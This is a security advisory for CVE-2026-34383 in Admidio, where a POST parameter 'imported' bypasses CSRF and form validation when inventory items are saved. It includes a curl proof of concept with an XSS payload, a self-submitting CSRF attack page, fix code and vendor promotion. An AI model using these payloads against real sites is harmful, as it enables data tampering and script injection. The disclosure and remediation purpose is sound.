Summary
The inventory module's item_save endpoint accepts a user-controllable POST parameter imported that, when set to true, completely bypasses both CSRF token validation and server-side form validation. An authenticated user can craft a direct POST request to save arbitrary inventory item data without CSRF protection and without the field value checks that the FormPresenter validation normally enforces.
Details
In modules/inventory.php, the imported parameter is read from POST input:
File: modules/inventory.php:50
$postImported = admFuncVariableIsValid($_POST, 'imported', 'bool', array('defaultValue' => false));
This is then passed to ItemService:
File: modules/inventory.php:251-256
$itemService = new ItemService($gDb, $itemUuid, $postCopyField, $postCopyNumber, $postImported);
$itemService->save(true);
Inside ItemService::save(), the postImported flag completely skips CSRF and form validation:
File: src/Inventory/Service/ItemService.php:99-109
public function save(bool $multiEdit = false): void
{
global $gCurrentSession, $gL10n, $gSettingsManager;
// check form field input and sanitized it from malicious content
if (!$this->postImported) {
$itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
} else {
$formValues = $_POST; // Raw $_POST used with no CSRF check, no validation
}
// ... item data is saved using raw $formValues
When imported=1 is sent, the code:
- Skips
$gCurrentSession->getFormObject(), which validates the CSRF token - Skips
$itemFieldsEditForm->validate(), which sanitizes and validates field values - Uses raw
$_POSTvalues directly to save to the database
This means:
- CSRF protection is completely bypassed, an external website can trick a logged-in user into modifying inventory data
- Form validation is bypassed, field type checks, required field checks, and input sanitization are all skipped
- Raw user input flows into
$this->itemRessource->setValue()and thensaveItemData()without the normal server-side sanitization
PoC
# As an authenticated user with inventory access, save arbitrary item data
# without a valid CSRF token and without form validation:
curl -X POST -b 'ADMIDIO_SESSION=<session>' \
'https://admidio.local/modules/inventory.php?mode=item_save' \
-d 'imported=1' \
-d 'adm_csrf_token=anything' \
-d 'INF-CATEGORY=1' \
-d 'INF-ITEMNAME=<script>alert(1)</script>'
# The CSRF token is not checked because imported=true skips the form object lookup.
# The field value is not sanitized because validate() is skipped.
A CSRF attack page would look like:
<html>
<body>
<form action="https://admidio.local/modules/inventory.php?mode=item_save" method="POST">
<input type="hidden" name="imported" value="1" />
<input type="hidden" name="adm_csrf_token" value="dummy" />
<input type="hidden" name="INF-CATEGORY" value="1" />
<input type="hidden" name="INF-ITEMNAME" value="Attacker-controlled data" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Impact
- CSRF bypass: An attacker can trick any logged-in inventory user into creating or modifying inventory items by having them visit a malicious page.
- Validation bypass: Server-side field type validation, required field checks, and input sanitization are all skipped, allowing arbitrary data to be stored.
- Stored XSS potential: Because
validate()is bypassed, unsanitized input may be stored and later rendered to other users (dependent on output encoding in the view layer).
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
CVE-2026-34383 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.0.8); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Remove the imported parameter bypass from the save logic, or at minimum always validate the CSRF token regardless of the imported flag:
public function save(bool $multiEdit = false): void
{
global $gCurrentSession, $gL10n, $gSettingsManager;
// ALWAYS validate CSRF token
$itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
if (!$this->postImported) {
$formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
} else {
// For imported items, still validate the CSRF token (done above)
// and apply basic sanitization
$formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
}
// ...
}
Alternatively, the imported flag should only be set by the import workflow itself (via a session variable set during the import process), rather than being controllable via direct POST input.
Frequently Asked Questions
- What is CVE-2026-34383? CVE-2026-34383 is a medium-severity improper input validation vulnerability in admidio/admidio (composer), affecting versions <= 5.0.7. It is fixed in 5.0.8. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is CVE-2026-34383? CVE-2026-34383 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of admidio/admidio are affected by CVE-2026-34383? admidio/admidio (composer) versions <= 5.0.7 is affected.
- Is there a fix for CVE-2026-34383? Yes. CVE-2026-34383 is fixed in 5.0.8. Upgrade to this version or later.
- Is CVE-2026-34383 exploitable, and should I be worried? Whether CVE-2026-34383 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34383 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-34383? Upgrade
admidio/admidioto 5.0.8 or later.